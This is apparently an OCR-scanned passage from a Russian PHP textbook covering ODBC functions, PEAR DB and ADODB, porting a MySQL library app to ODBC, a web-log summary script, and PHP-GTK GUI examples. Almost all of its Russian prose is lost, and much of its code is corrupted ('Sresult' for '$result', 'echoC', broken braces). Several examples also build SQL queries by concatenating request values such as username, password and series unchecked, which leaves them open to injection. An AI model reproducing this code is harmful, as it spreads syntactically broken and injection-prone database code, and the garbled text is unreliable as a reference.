API PHP ODBC

745

TABLE_TYPE, TABLE_QL)ALIFIER, TABLE_OWNER nTABLE_NAME.

owner name : % _ .

odbc_columns()
int odbc_columns(int connection_id [, string qualifier [, string owner
[, string table_name [, string columnjiame]]]])

odbc_tables(), id
, , .
:
TABLE_QUALIFIER
TABLE_OWNER
TABLE_NAME
COLUMN_NAME
DATAJTYPE
TYPEJiAME
PRECISION
LENGTH
SCALE
RADIX
NULLABLE
REMARKS
TABLE_QUALIFIER, TABLE_OWNER TABLE_NAME.

owner, table_name column_name : % _


.

odbc_primarykeys()
int odbc_primarykeys(int connection_id, string qualifier,
string owner, string table)
, odbc_primarykeys() , , ODBC false . :
TABLE_QUALIFIER
TABLE_OWNER
TABLE NAME

746

19. PHP ODBC

COLUMNJIAME

KEY_SEQ

PK_NAME


- SQL,
, . , , . , , . , ,
.
, , ,
.
, :
.
SQL.
SQL.
, (rollback).
, (commit).

odbc_autocommit()
int odbc_autocommit(int connection_id [, int OnOff])

. SQL . INSERT, UPDATE DELETE .
,
:
odbc_autocommit($connection_id, 0);

OnOf f,
, t r u e false ( ).
, . .

odbc_commit()
int odbc_commit(int connection_id)

.

API PHP ODBC

747

odbcjrollbackO
int odbc_rollback(int connection_id)
, .


ODBC SQL: , ,
. ,

.
SQL.

odbc_prepare() and odbc_execute()


int odbc_prepare(int connectionJLd, string query_string)
int odbc_execute(int result_id [, array parameters_array])

SQL
.
SQL SQL, ,
odbc_execute(). ,
, . , SQL, ,
.
SQL , odbc_prepare() .
odbc_execute(), parameters_array. , SQL.
SQL, odbc_prepare(), - ?, . .
.

odbc_exec() and odbc_do()


int odbc_exec(int connection_id, string query_string)
int odbc_do(int connection.id, string query_string)
; SQL. -

748

19. PHP ODBC

, SQL, sartpoc , . SQL,


SQL. odbc_prepare(),
odbc_exec() ODBC, SQL
.
.

odbc_cursor()
string odbc_cursor(int result_id)

odbc_fetch_into()
int odbc_fetch_into(int result_id [, int rownumber, array result_array])


, . 0:
$row = 1;
$result_column = odbc_fetch_into($result_id, $row, $result_array);

odbc_fetch_row()
int odbc_fetch_row(int result_id [, Int row_number])
odbc_fetch_into( ), odbc_fetch_row( ) . , row_number. row_number , odbc_fetch_row() false, ,
odbc_result():
while (odbc_fetcti_row($result_id)) {
$field1 '= odbc_result($result_id, 1);
$field2 = odbc_result($result_id, 2);
echof'fieldl
is $field1 and field2 is $field2");
'

odbc free resultO


*' __ ._ __ -int odhn ..* -

19. PHP ODBC

ODBC

751

,
, .


ODBC
, ODBC , Windows.
, Windows- ODBC
, OLE-DB Active Database
Objects (ADO), Visual Basic.
, ODBC,
ODBC . , ODBC
Windows Linux Windows .

MS SQL Server
Windows . DSN Start | Settings | Control Panel | Administrative Tools | Data
Sources (ODBC). MS SQL Server, , ODBC . , ,
Drivers ODBC.
System DSN New.

DSN. ; DBA SQL Server.
, SQL Server
Northwind .
, DSN
Test ODBC.
, , .

Linux - , DSN. iODBC , , .


ODBC , Microsoft ODBC SQL Server Linux.
DSN .
OpenLink software, iODBC,
.

752

'

19. PHP ODBC

http://www.openlinksw.com/ . OpenLink
, .
DSN Linux odbc. ini, bin/ , .
odbc. ini , . Host, Driver, Database, UserName, Password ServerType, ,
, FetchBuf ferSize.
DSN . D r i v e r , a Serve rType
, , SQL Server 2000.
- UNIX . LD_LIBRARY_PATH, 10DBC, ODBCINI ODBCINSTINI. ODBCINI odbc.ini,
ODBCINSTINI - ,
odbcinst .ini, bin/ ODBC.
odbctest - , 10DBC;
ODBC DSN. ,
:
Export ODBCINI = "/path/to/your/odbc.ini".

():

echo ODBCINI
, odbctest odbcsdk/examples/ 1ODBC ?, , DSN :
./odbctest

This program shows an interactive SQL processor


Enter ODBC connect string (? shows list): ?
DSN

| Description

OpenLink

| OpenLink Generic ODBC Driver

Enter ODBC connect string (? shows list):


DSN , , DSN
odbc. ini, , , ODBCINI . , odbc. ini,
().

753

DSN , ,
DSN=DSN_NAME. ,
:
SQL>

MS Access
MS Access Windows , SQL Server; MS Access. , MS
Access, DSN.
Linux , DSN
. Access Linux SQL
Server Linux , Access. ,
OpenLink ODBC. OpenLink,
(Linux), (Windows) (MS Access), ODBC Windows, DSN, .
, DSN:
DSN Windows
MS Access
DSN Linux odbc. ini, DSN
:
Hostname = [IP- Windows]
ServerType = ODBC
Database = [ DSN, ]
- (UserName, Password ..)
DSN Linux odbctest ,
SQL Server.


, ODBC
ODBC .
ODBC.
, UNIX- .
, ODBC.
, ,
UNIX- ( ,
).

754

19. PHP ODBC

db_env.php .
:

<?php
putenv("ODBCINI=/home/openlink/bin/odbc.ini"); ;
: putenv( "ODBCINSTINI=/home/openlink/bin/odbcinst . ini" ) ;
putenv("LD_LIBRARY_PATH=/usr/local/src/odbcsdk/lib");
direct_exec. p h p :
<?php
require("db_env.php");

$dsn = "Northwind"; // DSN odbc.ini,


// odbctest
$user = "sa"; // UserName DSN .: :
Spassword ='"";"// Password DSN ; : ;
Stable = "Orders"; // Northwind
$sql = "SELECT * FROM Stable";

if ($conn_id = odbc_connect($dsn, $user, $password)) {;


echo( "connected to DSN: $dsn <br>");
if (Sresult = odbc_exec($conn_id, $sql)) {
echo( "executing '$sql' <br>");
echo( "Results: ");
odbc_result_all( $result ) ;
echoC'freeing result <br>");
odbc_fr'ee_result($result);
!::
} else {
echo{ "cannot execute '$sql' ");
odbc_error();
;';:;
}
: echo( "closing connection $conn_id <br>");
odbc_close($conn_id);
> else {
echo( "cannot connect to DSN: $dsn ");

DSN.
Linux. He
db^env. p h p ,
ODBC Windows, require:
//require ("db_env.php");

, odbc_prepare() odbc_execute().
, odbc_prepare( )
SQL . :

755

require("db_env. php"); // UNIX


$dsn = "Northwind"; // DSN odbc.ini, odbctest
$user = "sa"; // UserName DSN .
Spassword = ""; // Password DSN .
// SQL, .
$sql = "SELECT * FROM Orders WHERE OrderlO = ?";
// ; ,
// !
if ($conn_id = odbc_connect($dsn, $user, $password)) {
echo( "connected to DSN: $dsn <br>");
//
if ($result = odbc_prepare($conn_id, $sql))
echo( "Statement prepared<br>");
, SQL , . ? SQL:
$bound_param = array( 10248, 10249);
if (odbc_execute($result, $bound_param)) {'
echo("executing &nbsp; $sql<br>");
if ($num_fields = odbc_num_fields($result) > 0):{
odbc_result_all($result);
} else {
echo("no fields returned.");
odbc_error();

echo( "closing connection $conn_id <br>");


odbc_close($conn_id);
} else {
echo("cannot connect to DSN: $dsn ");


odbc_execute().


, ODBC, , . ,
. ,
.

756

19. PHP ODBC

Unified ODBC
, ODBC. , DSN ODBC,
ODBC API. Unified ODBC , ODBC
ODBC. , , Adabas, DB2, Solid Sybase.
( UNIX) Unified ODBC . , DB2 -withibm-db2.=/path/to/db2/install/directory. DB2, Unified ODBC, ODBC, , .

PEARDB
PEAR (http://pear.php.net/) ,
CPAN Perl. ,
. PEAR . -, , ,
.
PEARDB, - . PEARDB
, PEAR, . , , ,
PEARDB .
UNIX , Windows PEAR ( c:\php\pear\) include_path p h p . ini.
PEARDB ,
, , ,
. :
<?
1_(".");// .
$dbhandle=DB::connect("mysql://use r:passwo rd@host/databasename");
if (DB::isError($dbhandle)) {
. . . echoC'Ack! problem connecting t o database:");
echo($dbhandle->getMessage());

exit;

$dbhandle->setErrorHandling(PEAR_ERROR_DIE);

757

:
<?php
$statement_handle = $dbhandle->query("SELECT field"! , field2
FROM tablename");
while ($result = $statement_handle->fetchlnto($row)) {
echo("$row[0] : $row[1]<br>\n");

ADODB
- ,
PEARDB . ADODB -
Active Data Objects Data Base Windows ASP , ADO.
http:/ /php.weblogs.com/ADODB/ .
, .
:
<?php
includeC'adodb.inc.php"); // , adodb
$db_handle = NewADOConnection('mysql'); //
$db_handle->Connect("host", "user", "password", "database"); //
//
Sresult = $db_handle->Execute( "SELECT * FROM table"); // SQL '
if (! Sresult) die("Problem getting result!");
, .
MoveNextO,
ADODB:
while- (!$result->EOF) { //, $result .
for ($i=0, $max=$result->FieldCount(); $i < $max;
print($result->f ields[$i]. ' ' );
$result->MoveNext();
echo("<br>");
}''

Metabase
Metabase - - . , ,

758

19. PHP ODBC

.
,
, XML,
XML .
, (Manuel Lemos), , (
) ,
- . . Metabase http:/ /phpclasses.upperdesign.com/.


, ODBC
, , 17. , ,
.
(MySQL)
ODBC. 18, PostgreSQL,
ODBC,
.
, ,
(logon . php). 17:
//
$conn = fnysql_connect( 'localhost' , 'jon', 'pass') or die(mysql_error());
mysql_select_db( 'Library', Sconn) or dieCmysql.errorO);
// .
$sql = "SELECT username FROM Users WHERE username = '": .
$username .'" AND password = '" . Spassword . "'";:
Sresult = mysql_query($sql, $db);
//
$success = false;
if (@mysql_result($result, 0, 0) == $username) {
Ssuccess = true;
//
mysql_close($conn);
ODBC .
ODBC :

759

//
$ = odbc_connect($dsrt,$use rname, Spassword) or die(odbe_error());

, DSN.
, UNIX db_env. php
i n c l u d e ( ) r e q u i r e ( ) , , odbc_connect( ) DSN.
SQL. PostgreSQL, *_( ) :
//
$sql = "SELECT username FROM users WHERE username = '" .
Susername . "' AND password = '" . $password . ..... ;
$result = odbc_exec($conn, $sql);
.
odbc_result() m y s q l _ r e s u l t ( ) . CHAR , :
//
Ssuccess = false;
if (rtrim(odbc_result($ result, 'username')) == $username) {
Ssuccess = true;
, mysql_close() odbc_close():
//
odbc_close($conn);

login . p h p MySQL ODBC . PostgreSQL, users:


sql> INSERT INTO users VALUES C j o n ' , 'secret');
INSERT 101831 1

search, php. ,
, :
<?php
// MySQL
$conn = mysql_connect( 'localhost' , ' j o n ' , 'secret') or die(mysql_error());
//
mysql_select_db( 'Library' , $conn) or die(mysql_error());
//
$sql = "SELECT series_ID, book_series from series";
Sresult = mysql_query($sql, $conn);

760

19. PHP ODBC

mysql_connect(), mysql_select_db(), m y s q l _ q u e r y ( )
mysql_close( ) ODBC ,
:
// <option> <select>
if ($result && (mysql_num_rows($result) > 0)) {
while ($row = mysql_fetch_assoc($result)) {
$option = sprintf("<option value=\"%d\">%s</option>",
$row[ 'series_ID' ], $row['book_series']);
echo("$option\n");
}
} else {
echo("<option>No series are available</option>\n");
.}
//
mysql_close($conn);
. mysql_num_rows() odbc_num_rows( ). , odbc_num_rows() -1,
:
if ((odbc_num_rows($result) != 0)) {

. PostgreSQL,
odbc_fetch_assoc( ) , .
odbc_fetch_row() odbc_result(). , odbc_result()
.
:
while ($row = odbc_fetch_row($result)) {
$series_id = odbc_result($result, "series_ID");
$book_series = odbc_result($result, "book_series");
Soption = sprintf("<option value=\"%d\">%s</option>",
$series_id, $book_series);
echo("$option\n");

results, php, . , :
<?php

// MySQL
$conn = mysql_connect('localhost' , 'jon', 'pass') or die(mysql_error());
//
mysql_select_db( 'Library' , $conn) or die(mysql_error());
//

761

$query = addslashes($HTTP_6ET_VARS[ 'query']);


$series = $HTTP_GET_VARS[ 'series'];
$type = $HTTP_GET_VARS['type'];
//
$sql = "SELECT bookjtitle, auth_name, price " .
"FROM title, details, author, authortitle, series " .
"WHERE author. auth_ID = authortitle. auth_ID AND " .
"authortitle. ISBN = title. ISBN AND title. ISBN = details. ISBN " .
"AND details. series_ID = series. series_ID";
//
if (!empty($series)) {
$sql .= " AND Series. series_IO = Sseries";
}
if (!empty($query) && !empty($type)) {
if ($type == 'isbn' ) {
$sql .= " AND Details. ISBN = 'Squery'";
} elseif ($type == 'author') {
$sql .= " AND Author. auth_name LIKE '%$query%'";
} elseif ($type == 'title') {
$sql .= " AND Title. book_title LIKE '%$query%'";

Sresult = mysql_query($sql, $conn);


// <option> <select>t
if ($ result && (mysql_num_rows($result) > 0)) {
while ($row = mysql_fetch_assoc($result)) {
?>
<tr>
: <td><u><?php echo(htmlspecialchars($row['book_title'])) ?></ux/td>
<td><?php echo(htmlspecialchars($row['auth_name'])) ?></td>
<td>$<?php echo(htmlspecialchars($row[ 'price'])) ?></td>
</tr>
<?php
}
} else {
echo("<tr><td colspan=\"3\">No matches were found. </tdx/tr>\n");
}
//
mysql_close($conn);
?>

, ODBC. ODBC
:
<?php
require("db_env. php"); // UNIX

762

19. PHP ODBC


//
$ = odbc_connect("$dsn", "jon", "pass") or die(odbc_error());

// , .
Squery = addslashes($HTTP_GET_VARS[ 'query']);
$series = $HTTP_GET_VARS[ 'series' ];
$type = $HTTP_GET_VARS['type'];
//
$sql = "SELECT bookjritle, auth_name, price " .
"FROM title, details, author, authortitle, series " .
"WHERE author. auth_ID = authortitle. auth_ID AND " .
"authortitle. ISBN = title. ISBN AND title. ISBN = details. ISBN " .
"AND details. series_ID = series, series_ID";
// -
// where , .
if (!empty($series)) {
$sql .= " AND series. series_ID = Sseries";
}
if (!empty($query) && !empty($type)> <
if ($type == 'isbn' ) {
$sql .= " AND details. ISBN = '$query'";
} elseif ($type == 'author') {
$sql .= "AND author. auth_name LIKE '%$query%'";
} elseif ($type == 'title') {
$sql .= " AND title. book_title LIKE '%$query%'";

Sresult = odbc_exec($conn, $sql) or die(odbc_error()); //execute the' SQL


// <option> <select>
if ((odbc_num_rows($result) != 0)) { //remember, this will still work for -1
while ($row = odbc_fetch_row($result)) {
$book_title = odbc_result($row, "book_title");
$auth_name = odbc_result($row, "auth_name");
Iprice = odbc_result ($row, "price");
?>
<tr>
<td><ux?php echo(htmlspecialchars($book_title))
<tdx?php echo(htmlspecialchars($auth_name))
<td>$<?php echo(htmlspecialchars($price)) ?x/td>
</tr>
<?php
'}"'";
} else { //if odbc_num_rows is "0" then the above will be skipped
echo("<trxtd colspan=\"3\">No matches were found. </td></tr>\n");
}
//-
odbc_close($conn);

763

Open DataBase Connectivity. , , . :


ODBC, ,
ODBC,
, , 17,
ODBC

20
PHP- ,

,
COM, CORBA, PHP-GTK
(GUI).

GUI .

. :
Windows Linux

- PHPGTK

GTK?
GTK - GIMP Tool Kit. GUI, .
GIMP Tool Kit ,
GNU Image Manipulation Program (GIMP), GTK , GNU Network Object Model Environment (GNOME). GTK GDK (GIMP Drawing Kit) -
. ,
GLib, , GTK.
GTK+.

-GTK?

765

GTK+ , GTK+ ,
C++, Guile, Perl, Python, , Ada95, Objective C, Free Pascal
Eiffel. GTK+ BeOS Win32. GTK+
, .
, GTK+ GNU LGPL, GTK+ , - .

PHP-GTK?
-GTK - , (Andrei
Zmievski) - GUI GTK+ , , -.


.
Windows Linux.
Linux.

Linux

Linux, CGI- . .
libedit
. .

libedit
-, libedit, http://
www.sourceforge.net/projects/libedit/. GPL readline - .
, readline, . readline, -with-readline[=DIR], , , .
libedit
libedit . , libedit, tar-:
tar -xvzf libedit.tar.gz

766

20. PHP- ,

libedit configure :
./configure
make, :
make

make install
, :
make install
libedit. libedit /usr/local/lib, , . , ,
make install :
cd ~/php4

./configure -with-libedit=/usr/local/lib [other configure options]


make
make install
, libedit, ,
p h p -m, , .
[ Modules] readline libedit.

PHP-GTK
PHP-GTK UNIX , . PHPGTK http://gtk.php.net/ CVS ( - snapshot - a release candidate). .
PHP-GTK , ;
tar .
b u i l d c o n f , PHP-GTK.
c o n f i g u r e . . / c o n f i g u r e .
GTK+ (1.2.6 , http://
www.gtk.org/) , , make-.
, PHP-GTK 1.2.x GTK+, 1.3.x . . / c o n f i g u r e PHP-GTK; . . /configure -help , . , make, .

PHP

767

, make install,
( /usr/local/lib/php/extensions).
PHP-GTK -.
, README, , . , PHP-GTK - ,
.

Windows
, Windows.

CGI- http://www.php.net/,
php. exe, . ,
php.exe PHP-GTK, PHP-GTK,
PHP-GTK.
Windows 95/98 : \AUTOEXEC. . , php. exe : \php:
SET PATH=%PATH%;c:\php;

AUTOEXEC. BAT - , Windows. , Windows.


Windows ME , AUTOEXEC. .
msconf ig. exe (Start | Run | msconfig), PATH
Environment.
Windows NT, Windows 2000 Windows XP , . My Computer. Properties,
Advanced, Environmental Variables. ,
php , .
PATH , New.
PATH,
C:\php, , php. exe.

20. PHP- ,

768

PATH ,
, Edit . , : \php ( p h p . exe . , , , :
PATH

PATH.
, php. exe PATH,
:
type "Hello GTK ! ! ! " \ php.exe

MS-DOS Bad command or f i l e name, PATH


; PATH , :
Hello GTK ! ! ! .

Windows libedit ,
Windows libedit .

PHP-GTK
PHP-GTK Windows zip-,
PHP-GTK ( http://gtk.php.net/).
:

php4 - PHP-GTK

w i n n t \ - p h p . ini
winnt\system32\ - GTK+ libglade
samples\ ,
PHP-GTK
:

4 , PHPGTK. :\, . . : \php4

w i n n t \ .
Windows NT Windows 2000 c:\winnt\. Windows 95/98/
/ :\windows\. p h p . ini ,

winnt\system32\
system32\. Windows NT Windows 2000 c:\winnt\system32\. Windows 95/98// : \windows\system32\

samples\ , (, c:\php4\samples)

769

PHP-GTK, DOS :
c:\php4\php -q c:\php4\samples\hello.php
Hello World, .
PATH, .
php_gtk. dll, , , extension_dir e php. ini. , php_gtk.dll ( :\php4^.



Windows Linux. , NCSA Common Log Format, Apache . , - .
,
:




.

NCSA
NCSA (National Center for Supercomputing Applications)
, - ,
. :
10.0.0.1 - - [10//2001:14:22:57 +0100] "GET /icons/blank.gif HTTP/1.1" 404 287
10.0.0.1 - - [10/Apr/2001:14:24:37 +0100] "GET /error.php HTTP/1.1" 500 289

10.0.0.5 - - [10/Apr/2001:14:25:00 +0100] "GET /private/index.php HTTP/1.1" 401 291


10.0.0.5 - jm [10/Apr/2001:14:25:32 +0100] "GET /private/index.php HTTP/1.1" 200 770
10.0.0.2 - - [10/Apr/2001:14:26:58 +0100] "GET /links.php HTTP/1.1" 200 99
-, . :
ClientIP - UserName [Date:Time TimeZone] "Method URI HTTPVersion" StatusCode BytesSent
, IP- 10.0.0.1
- 14:22:57 10 2001
GMT + 1 ( ). /icons/

770

20. PHP- ,

blank.gif GET HTTP 1.1.


404, 287 . , / e r r o r , p h p , 500 ( ), 289 .
, 401 ,
, jm.
. IP 1 0 . 0 . 0 . 2 / l i n k s , php. 200.
, .
, . ,
, .
, .
], [ ". ,
, :
function tokenizeline($line)

$line = preg_replace("/(\[|\]|\")/", "",. $);

PHP strtok, .
w h i l e , , , :
$token = strtok($line, " ");
while ($token) {
$token_array[] = $token;
$token = strtok(" ");
}
$return_array[ 'IP'] = $token_array[0];
, . ,
:
if (! (strstr("-", $token_array[2])) and (strlen($token_array[2]) > 1)) {
$return_array[ 'UserName'] = $token_array[2];
,
$token_array[3]. . , ( : ),
. , .

771

$date_array[1] $date_array[2] .
$return_array:
preg_match(7([Va-zA-ZO-9]+)[\: ]([0-9: ]+)/",
$token_array[3],$date_array);
$return_array[ 'Date' ] = $date_array[1]; :
$return_ar ray ['Time'] = $date_array[2];


$return_array:
$return_array['TimeZone'] = $token_array[4];
;$return_array[ 'RequestMethod'] = $token_array[5];
$return_array[ 'Resource' ] = $token_array[6];
$return_array[ 'HTTPVersion'] = $token_array[7]; :
$return_array['StatusCode'] = $token_array[8];
$return_array[ 'BytesSent' ] = $token_array[9];
return $return array;


.

. :
<?
set_time_limit(0); //
/* -- , -- .*/
Slogfile = "./access.log";
$admin_email = "admin@localho'st";
function tokenizeLine($line)
{
$line = preg_replace("/(\[|\]|\")/", "", $line);
Stoken = strtok($line, " ");
while (Stoken) {
$token_array[] ,= Stoken;
Stoken = strtok(" ");
>
$return_array[ 'IP' ] = $token_array[0];
if (! (strstrC'-", $token_array[2])) and (strlen($token_array[2]) > 1)) {
$return_array[ 'UserName' ] = $token_array[2];
}
preg_rnatch("/([Ya-zA-ZO-9]+)[\:]([0-9: ]+)/",
$token_array[3], $date_array);
$return_array['Date'] = $date_array[1];
$return_array[ 'Time'] = $date_array[2];
$return_array[ 'TimeZone' ] = $token_array[4];

772

20. PHP- ,
$return_array['RequestMethod'] = $token_array[5];
$return_array[ 'Resource' ] = $token_array[6];
$return_array['HTTPVersion' ] = $token_array[7];
$return_array['StatusCode'] = $token_array[8];
$return_array[ 'BytesSent'] = $token_array[9];
return $return_array;

$f ile_contents:
$file_contents = file($logfile);
, tokenizeLine( ), :
foreach ($file_contents as $line) {
$info_array = tokenizeLine(Sline);
$status_code[$info_array[ 'StatusCode' ]]++;


:
$email = "Summary of codes for todays logs\n\nCode\tCount\n";
foreach ($status_code as $code => $count) {
$email .= "$code:\t$count\n";
}

'...'' .'.'

mail($admin_email, "Summary of weblogs", Semail);

,
. Linux ,
Windows NT/2000 - AT. .

Linux/
UNIX. crontab
, - .
( ) , .
crontab . ,
, - ,
. , ,
. (,*), , .

773

(059)
. (023), (1-31), - (1-12) -
(0-6, 0 ). crontab http://hoth.stsci.edu/man/manl/crontab.html.
, .
mail_stats.php /home/] moo re/,
c r o n t a b :
0 * * * /usr/local/bin/php -q /home/jmoore/mail_stats.php
on, 0 , /usr/local/bin/php -q mail_stats.php.
Linux/UNIX ,
( chmod a+x mail_stats. php, ).
, ,
. , #!/usr/local/bin/php -q.
,
/usr/local/bin/php -q.

AT
AT Windows NT Linux.
Windows 2000, NT.
AT.
:
at [\\computername] time [/interactive] [/every:date[,...] | /next:date[,...]]
command
, php -q c:\mail_stats. p h p ( , mail_stats. php :). :
AT 00:00 /every:M,T,W,Th,F,S,Su php -q c:\mail_stats.php
, p h p -q c : \ m a i l _ s t a t s . p h p
(Monday, Tuesday, Wednesday, Thursday, Friday, Saturday Sunday).

Windows
Windows 95/98/ME crontab/AT. . Start | Programs! Accessories | System Tools Scheduled Tasks.
, :\CHECKLOG. .
. ,

774

20. PHP- ,

,
:
php -q c:\mail_stats.php

, Scheduled Task Manager


Add Scheduled Task.
Next , Browse
. (, CheckLogTask)
.
.
. , , ,
(CheckLogTaskl, CheckLogTask2, CheckLogTaskS . .).


, ,

?
, ,
. , mail_stats. p h p <logf ile> <administrators_email>.
PHP .
: $,
, , $argv[], , .
$argv[0] , mail_stats. php, $argv[1]
, $argv[2] - , $argv[n] - n- . , ,
,
. :
if ($argc != 3) {
echo("usage: nmil_stats.php logfile administrators_email");
exit;
:

>

Slogfile = $argv[1];
$admin_email = $argv[2];
. , , , .
- , , -

775

$argv[1] $argv[2]; .
mail_stats. p h p :

: .:/*'-- , -- */
Slogfile = "./access.log";
$admin_ernail = "admin@localhost";


libedit ,
. , . :

<?php
$play = "";
while ($play == "") {
, ,
false, :
$correct = false;

,
, .
, . :

$= readline("Maximum possible value: ");


$no_of_guesses = readline("No of guesses: ");
.
,
:
srand((double)microtime() * 1000000);
:
$num = flopr(rand(0, $max));

,
, :
for ($i=0; $i<$no_pf_guesses; $i++) {

776

20. PHP- ,

, :
$guess = readline( "Guess: ");

.
readline, .
:
if ($guess > $num) {
$message = "Lower";
: } elseif (Sguess < $num) {
Smessage = "Higher";
$num, else. , , . f o r :
> else :{

echo("\nYou guessed correctly! !\n");


echo("Well done! It took you $i goes.\n");
Scorrect = true;
break;

}
echo($message. "\n");
readline_add_history($guess);
, .
, , :
if($correct != true)
echo( "Sorry, you ran out of guesses! \n");
, , , , . ,
, , :
while(($play != '') && ($play !="))
Splay = strtolower(readline( 'Play again? [y/n]'));

,
.
.

.

PHP-GTK

777

, ,
.

PHP-GTK

PHP-GTK, - Hello World.

PHP-GTK
PHP-GTK ?
PHP-GTK. , , GtkObject.
('destroy'),
GtkObject. GtkObject , , .
,
, GtkObject.
PHP-GTK, GTK+, (widget) GUI, , (radio button)
. PHP-GTK GtkWidget.
PHP-GTK, GtkWidget,
- GtkTooltips - .
, .
PHP-GTK , GTK. ,
, . PHP-GTK, , ,
GTK . PHP-GTK , -
GTK. PHP-GTK .
,
G t k C o n t a i n e r ,
.
GtkWindow, GtkTable GtkList. , ,
, ,
.
GTK - , . , PHP-GTK ,

778

20. PHP- ,

. , . . , ,
,
, .
, ,
, ,
, . ,
, GTK,
, ,
PHP-GTK.
: , UNIX, , .
, , (signal handler)
(callback function). connect( ):
$button->connect( ' clicked ' , ' my_f unction ' ) ;
connect () , , clicked. - , . connect ()
.
, . , , .
function myFunction($button)
{
print("The button was clicked\n");

,
. .

:
Swidget = &new GtkWidget(parameters);


, , .

PHP-GTK

779


. :
$widget->Qonnect("signal-name", "functionName");

signal-name - , clicked, a f u n c t i onName .


. PHP-GTK :
$container->add($widget);
:
$window->add($button);

, . :
$widget->show();

:
$widget->hide();

, . PHP-GTK. , gtk: :main_quit() :


$window->connect('destroy', 'myShutdownRoutine');

Hello World
Hello World.
. Hello W o r l d !
, . Hello W o r l d ! DOS ,
, .
if ,
PHP-GTK. WIN -

780

20. PHP- ,

$PHP_OS.
dl( ) :
<?php
dlCphp_gtk. ' . (strstr($PHP_OS, ' W I N ' ) ? 'dll' : ' s o ' ) ) ||
dieC'uhable to load PHP-GTK hiodule\n");

quitRoutineO .
. (
GtkWindow X ) , destroy(). gtk: :main_quit() , :
function quitRoutine($wlndow)

gtk: :main_quit();

hello () .
Hello W o r l d ! , . ,
- $window - , , $button,
, connect().
, Swindow
hello( ):
function hello($button, Swindow)
{
print "Hello World! \n";
$window->dest roy( ) ;
.
Swindow GtkWindow. PHP-GTK &new, new - - , Zend Engine. set_border_width(),
10 . 'destroy ' q u i t R o u t i n e O :
$window = &new GtkWindowO;
$window->set_bo rde r_width (10);
$window->connect( ' dest roy ' , ' quit_routine ' ) ;
.
PHP-GTK, GtkButton
, -

PHP-GTK

781

. , GtkLabel .
Sbutton
hello( ), $window -
.
add( ), GtkContainer, :
Sbutton = &new GtkButton( 'Hello World! ');
$button->connect( 'clicked' , 'hello', Iwindow);
$window->add($button);
, ,
. . set_tip( ) GtkTooltips,
. , , ,
n u l l . , :
$tooltip = &new GtkTooltipsO;
$tooltip->set_tip($button, 'Prints "Hello World!" and vanishes', null);
$tooltip->enable();
GtkWidget show_all( ). , :
$window->show_all( ) ; >

, :
gtk: :main();

,
(. 20.1):

Hello World!
Prints "Hello World!" and vanishes
. 20.1. Hello World

782

20. PHP- ,


- , 17 18, PHP-GTK .
:

.

, ,
, .
PHP-GTK , .
, .
- . ,
:
<?php

loadMainWindow() $windows - GtkWindow, $widgets - , , $disconnect_id - , doLog i n ( ) .


$windows $widgets , , .
, :
function loadMainWindow()
{
GLOBAL $windows;
GLOBAL Swidgets;
GLOBAL $disconnect_id;
GtkWindow,
<JestroyWnd(),
X . connect () , connected . $disconnect_id, , , , destoryWnd(),
:

PHP-GTK

783

$windows['main'] = &new GtkWindbw(GTK_WINDOW_TOPLEVEL);


$windows['main']->set_title("Online Library Application");
$disconnect_id = $windows['main']->connect("destroy", "destroyWnd");
GtkTable. .
GtkTable : , , , ( - homogeneity):
$widgets['main']['table'] = &new GtkTable(4, 2, false);
GtkEnt ry, . , , , false,
:
$widgets['main']['login_name'] = &new GtkEntryO;
$widgets['main']['login_pass'] = &new GtkEntryO;
$widgets['main']['login_pass']->set_yisibility(false);
,
GtkEnt ry, . GtkLabel ,
:
$widgets['main']['label_name'] = &new GtkLabelCName: ');
$widgets['main']['label_pass'] = &new GtkLabel('Pass: ');
, , GtkButton Log in. clicked doLogin().
. clicked doLogin():
$widgets['main']['login_btn'] = &new GtkButton('Log in');
$widgets['main']['login_btn']->connect('clicked', 'doLogin');

GtkTable, .
attach() GtkTable. . - , . ,
:
$widgets[ 'main' ][ 'table' ]->attacn($widgets[ 'main' ][' labeljiatne' ],
0,1,
0, 1);

784

20. PHP- ,
$widgets['main']['table']->attach($widgets['main' ]['label_pass'],
0, 1,
2, 3);

$widgets['main']['table']->attach($widgets['main']['login_name'],
1, 2,
0, 1);
$widgets['main']['table']->attach($widgets['main']['login_pass'],
1, 2,
2, 3);
$widgets['main']['table']->attach($widgets['main']['login_btn'],
0, -2,
3, 4);

, . , , 4 2 .
, ( 04)
( 0-2).
0 1 0 1 , (. 20.2):

Child Widget

. 20.2.

, show_all(), :
$windows['main']->add($widgets['main']['table']);
$windows['main']->show_all();
loadSearchPage() loadMainPage(). ,
loadMainPageO, , . $windows $widgets:

PHP-GTK

785

function loadSearchPageO
{
GLOBAL $windows;
GLOBAL $widgets;
, ,
. GtkTable
:
$windows['search'] = &new GtkWindow(GTK_WINDOW_TOPLEVEL);
$windows['search']->set_title("Online Library Application");
$windows['search']->connect("destroy", "destroyWnd");
$widgets['search']['table'] = &new GtkTable(5, 2, false);

. ...;

,
.
GtkCombo - . , . GtkCHst (columned list). ,
clicked GtkButton performSearch(),
search :
$widgets['search']['label-search'] = &new GtkLabeK"Search: ");
$widgets['search']['label_series'] = &new GtkLabeK"Series: ");
: $widgets['search']['label_by'] = &new GtkLabel("Search by: ");
$widgets['search' ]['search_txt'] = &new GtkEntryO;

$series_array = array("Beginners", "Professional", "Early Adopters");


$widgets['search']['search_series'] = &new GtkComboO;
$widgets['search']['search_series']->set_popdown_strings($series_array);
$by = array("ISBN", "Author Name", "Title");
$widgets['search']['search_by'] = &new GtkComboO;
$widgets['search']['search_by']->set_popdown_strings($by);
$widgets['search']['search_btn'] = &new GtkButton("Search");
$widgets['search']['search_btn']->oonnect("clicked", "performSearch");
Stitles = arrayC'Book Title", "Author", "ISBN",
"Series", "No Available", "Price");
$temp_entry = array("Results...", "", "", "", "", "");
$widgets['search']['result_list'] = &new GtkCList(6, Stitles);
$widgets['search']['result_list']->prepend($temp_entry);
GtkTable, , :
$widgets['search']['table']->attach(
$wldgets['search']['label_search'],

786

20. PHP- ,

, 1,

, D;

;;

";,;,fp;

$widgets[ 'search' ][ 'table' ]->attach(


$widgets[ 'search ' ][ ' label_series ' ] ,
0, 1,
1, .2);
$widgets[ ' search ' ][ 'table' ]->attach(
$widgets[ ' search ' ][ ' label_by ' ],
0, 1,.
2, 3);
$widgets[' search '][' table ']->attach(
$wldgets[ ' search ' ][ ' search_txt ' ],
1, 2,
0, 1);
$wldgtets[ ' search ' ][ ' table ' ]->attach(
$widgets[ ' sea rch ' ][ ' search_se ries ' ] ,
1, 2,
1, 2);
$widgets[' search '.][' table ']->attach(
$widgets[ ' sea rch ' ] [ ' sea rch_by ' ] ,
1, 2,
:
2, 3);
